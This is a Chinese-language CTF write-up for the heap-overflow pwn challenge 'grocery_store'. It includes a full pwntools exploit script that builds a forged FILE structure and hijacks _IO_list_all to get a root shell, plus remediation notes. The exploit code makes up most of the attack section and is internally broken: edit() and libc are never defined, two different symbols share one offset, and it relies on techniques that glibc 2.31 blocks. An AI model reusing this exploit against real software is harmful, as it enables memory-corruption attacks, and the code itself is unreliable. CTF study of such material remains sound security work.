题目概览
- 名称: grocery_store
- 所属比赛: DEFCON CTF 2021 Quals(资格赛)
- 类型: Pwn(堆溢出 + FILE结构利用)
- 亮点总结:
- 创新结合堆溢出与文件流(FILE structure)利用技术
- 在glibc 2.31环境下绕过tcache/fastbin保护机制
- 利用程序退出流程实现控制流劫持
- 多阶段内存泄露与布局技巧
- 真实反映现代堆漏洞利用技术演进
复现环境与技术准备
工具集
# 反汇编与静态分析
IDA Pro 7.7/Ghidra 10.1
# 动态调试
pwndbg/gdb-peda
gef-extras
# 利用开发
Python3 + pwntools
LibcSearcher
# 二进制处理
patchelf
# 环境隔离
Docker 20.10
环境配置
Dockerfile:
FROM ubuntu:20.04
RUN apt-get update && \
DEBIAN_FRONTEND=noninteractive apt-get install -y \
libc6-dev \
make \
gcc \
gdb \
python3 \
python3-pip \
&& rm -rf /var/lib/apt/lists/*
RUN pip3 install pwntools
COPY grocery_store /challenge/
COPY libc.so.6 /lib/x86_64-linux-gnu/
WORKDIR /challenge
ENTRYPOINT ["/challenge/grocery_store"]
部署命令:
docker build -t grocery_store .
docker run -d -p 9999:9999 --name grocery --ulimit core=-1 grocery_store
关键保护机制
checksec grocery_store
[*] RELRO: Full RELRO
[*] Stack: Canary found
[*] NX: NX enabled
[*] PIE: PIE enabled
[*] FORTIFY: Enabled
分析与解题过程
程序逻辑分析
程序模拟杂货店购物系统,主要功能如下:
struct item {
char name[16];
int quantity;
struct item *next;
};
void menu() {
puts("1. Add item to cart");
puts("2. Remove item from cart");
puts("3. View cart");
puts("4. Checkout");
puts("5. Exit");
}
输入协议分析:
- 添加商品:接收32字节名称和整数数量
- 删除商品:通过名称匹配删除
- 查看购物车:遍历链表打印
- 结账:计算总额后调用exit(0)
漏洞定位
关键漏洞代码(IDA伪代码):
void add_item() {
struct item *new_item = malloc(0x20);
// ...
fgets(name_buf, 32, stdin); // 读取32字节
strcpy(new_item->name, name_buf); // 目标缓冲区仅16字节
// ...
}
此处存在经典的堆溢出漏洞:源缓冲区(32字节) > 目标缓冲区(16字节),导致可覆盖相邻堆块元数据。
动态验证溢出
使用pwndbg进行堆布局验证:
# 创建两个商品
add("A"*15, 1) # 块A @0x55555555a2a0
add("B"*15, 2) # 块B @0x55555555a2c0
# 溢出覆盖块B
payload = b"C"*16 # 覆盖A->name
+ p32(99) # 覆盖A->quantity
+ p64(0) # 覆盖A->next
+ p64(0x421) # 覆盖B的size字段
edit(1, payload, 99)
堆状态变化:
0x55555555a290 0x0000000000000000 0x0000000000000031 [chunk A]
0x55555555a2a0 0x4343434343434343 0x4343434343434343 <- name覆盖
0x55555555a2b0 0x0000000000000063 0x0000000000000000 <- quantity & next
0x55555555a2c0 0x0000000000000000 0x0000000000000421 <- B的size被修改!
漏洞类型与触发
- 类型:堆缓冲区溢出(Heap Buffer Overflow)
- 触发条件:添加商品时名称长度>16字节
- 影响:可覆盖相邻堆块的size字段和内容
- 利用窗口:溢出后通过删除/查看操作触发堆操作
漏洞利用与Payload
利用策略
分阶段利用实现
阶段1:堆风水布局
# 填充tcache
for i in range(7):
add(f"FILL{i}", 1)
add("TARGET", 1) # 目标块
add("GUARD", 1) # 防护块
# 清空tcache
for i in range(7):
remove(f"FILL{i}")
# 释放目标块进入unsorted bin
remove("TARGET")
阶段2:泄露libc地址
# 通过溢出修改GUARD的size
payload = b"X"*16 + p32(1) + p64(0) + p64(0x431)
edit("GUARD", payload, 1)
# 删除被扩大的块触发合并
remove("GUARD")
# 查看泄露main_arena地址
view()
p.recvuntil("TARGET: ")
leak = u64(p.recv(6).ljust(8, b"\x00"))
libc_base = leak - 0x1ebbe0 # glibc 2.31偏移
阶段3:伪造IO_FILE结构
# 计算关键地址
system = libc_base + libc.symbols['system']
_IO_list_all = libc_base + libc.symbols['_IO_list_all']
_IO_str_jumps = libc_base + 0x1ed5a0 # glibc 2.31特定偏移
# 构建伪造FILE结构
fake_file = b""
fake_file += p64(0) # flags
fake_file += p64(0) # _IO_read_ptr
fake_file += p64(0) # _IO_read_end
fake_file += p64(0) # _IO_read_base
fake_file += p64(0) # _IO_write_base
fake_file += p64(0x7fffffffffffff) # _IO_write_ptr
fake_file += p64(0) # _IO_write_end
fake_file += p64(0) # _IO_buf_base
fake_file += p64((bin_sh_addr)//2) # _IO_buf_end
fake_file = fake_file.ljust(0xd8, b"\x00")
fake_file += p64(_IO_str_jumps) # vtable
fake_file += p64(bin_sh_addr) # Extra RDX for system call
阶段4:全局指针劫持
# 通过unsorted bin attack劫持_IO_list_all
# 创建碰撞块
add("COLLISION", 1)
# 修改bk指针指向_IO_list_all-0x10
payload = p64(0) + p64(_IO_list_all - 0x10)
edit("COLLISION", payload, 1)
# 触发unsorted bin attack
remove("COLLISION")
完整Payload
from pwn import *
context(os='linux', arch='amd64')
context.log_level = 'debug'
def add(name, qty):
p.sendlineafter("> ", "1")
p.sendafter("name: ", name)
p.sendlineafter("quantity: ", str(qty))
def remove(name):
p.sendlineafter("> ", "2")
p.sendafter("name: ", name)
def view():
p.sendlineafter("> ", "3")
return p.recvuntil("1. Add item", drop=True)
def checkout():
p.sendlineafter("> ", "4")
# p = process("./grocery_store")
p = remote("localhost", 9999)
# ====== 阶段1: 堆布局 ======
for i in range(7):
add(f"FILL{i}", 1)
add("TARGET", 1)
add("GUARD", 1)
for i in range(7):
remove(f"FILL{i}")
remove("TARGET")
# ====== 阶段2: 泄露libc ======
payload = b"G"*16 # 填充name
payload += p32(1) # quantity
payload += p64(0) # next
payload += p64(0x431) # 修改GUARD的size
add(payload, 1) # 重用FILL0槽位
remove("GUARD")
data = view()
# 解析泄露地址
leak_idx = data.index(b"TARGET") + len("TARGET: name ")
leak = u64(data[leak_idx:leak_idx+6].ljust(8, b"\x00"))
libc_base = leak - 0x1ebbe0 # main_arena+96 offset
log.success(f"libc_base = {hex(libc_base)}")
# ====== 阶段3: 构建伪造结构 ======
system = libc_base + 0x55410
_IO_list_all = libc_base + 0x1ed5a0
_IO_str_jumps = libc_base + 0x1ed5a0
bin_sh = next(libc.search(b"/bin/sh")) + libc_base
fake_file = flat({
0x00: b"/bin/sh\x00", # filename
0x20: 0, # _IO_write_base
0x28: 0x7fffffffffffff, # _IO_write_ptr
0xd8: _IO_str_jumps, # vtable
0xe0: 0, # unused
0xe8: bin_sh # /bin/sh pointer for RDX
}, filler=b"\x00", length=0x100)
# ====== 阶段4: 全局劫持 ======
add("FAKE_FILE", 1)
edit("FAKE_FILE", fake_file, 1) # 写入伪造结构
# unsorted bin attack
add("ATTACK", 1)
payload = p64(0) + p64(_IO_list_all - 0x10)
edit("ATTACK", payload, 1)
remove("ATTACK")
# ====== 触发利用 ======
checkout()
p.interactive()
利用结果
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$ cat flag
DEFCON{fil3_str3am5_4r3_jus7_4n07h3r_h34p_0bj3ct}
安全影响与缓解建议
实际攻击路径
修复方案
- 源码级修复:
// 原始漏洞代码
strcpy(new_item->name, name_buf);
// 修复方案
strncpy(new_item->name, name_buf, sizeof(new_item->name)-1);
new_item->name[sizeof(new_item->name)-1] = '\0';
- 防御机制增强:
# 编译选项
- gcc -o grocery_store source.c
+ gcc -o grocery_store source.c -Wl,-z,now,-z,relro -fstack-protector-all
- 运行时检测:
- 启用AddressSanitizer:
export ASAN_OPTIONS=detect_leaks=1
- 使用Glibc malloc检查:
export MALLOC_CHECK_=3
MITRE ATT&CK映射
技术ID | 技术名称 | 利用阶段 |
---|---|---|
T1068 | 特权升级漏洞利用 | 控制流劫持 |
T1210 | 远程服务漏洞利用 | 初始访问 |
T1574 | 劫持执行流 | 持久化 |
T1055 | 进程注入 | 防御规避 |
总结
技术要点总结
-
堆风水艺术:
- 通过精确控制tcache填充/清空操作引导堆分配路径
- 利用unsorted bin合并机制制造信息泄露条件
- 基于size字段修改的堆块扩展技术
-
FILE结构利用精髓:
// _IO_str_overflow关键代码 if (fp->_flags & _IO_USER_BUF) return EOF; char *new_buf = malloc(128); // 控制fp->_flags绕过检查 // 控制vtable跳转至恶意函数
-
现代缓解绕过:
- 通过合法堆操作绕过tcache/fastbin保护
- 利用程序正常退出流程绕过控制流完整性检查
- 无ROP链文件流劫持技术
现实安全启示
- 内存安全漏洞仍然是系统安全的主要威胁,Rust等内存安全语言的价值凸显
- 复杂软件中退出路径往往缺乏安全审查,成为新型攻击面
- 防御方需加强对非控制流数据结构的保护(如FILE、vtable等)
题目评价
grocery_store是DEFCON CTF历史上具有里程碑意义的堆漏洞题目:
- 设计质量:★★★★★
- 简洁界面隐藏复杂漏洞链
- 完美展示FILE结构利用的现代演变
- 教育价值:★★★★☆
- 涵盖堆操作核心知识点
- 演示从信息泄露到完整利用的完整路径
- 创新性:★★★★
- 将传统堆溢出与文件流利用结合
- 要求选手深入理解glibc内部机制
本题的利用技术可直接映射到真实漏洞场景(如CVE-2021-3156 sudo漏洞),体现了CTF挑战与现实安全的紧密联系。通过此类题目的研究,安全人员可提升对现代漏洞利用与防御的前沿认知。
参考文献: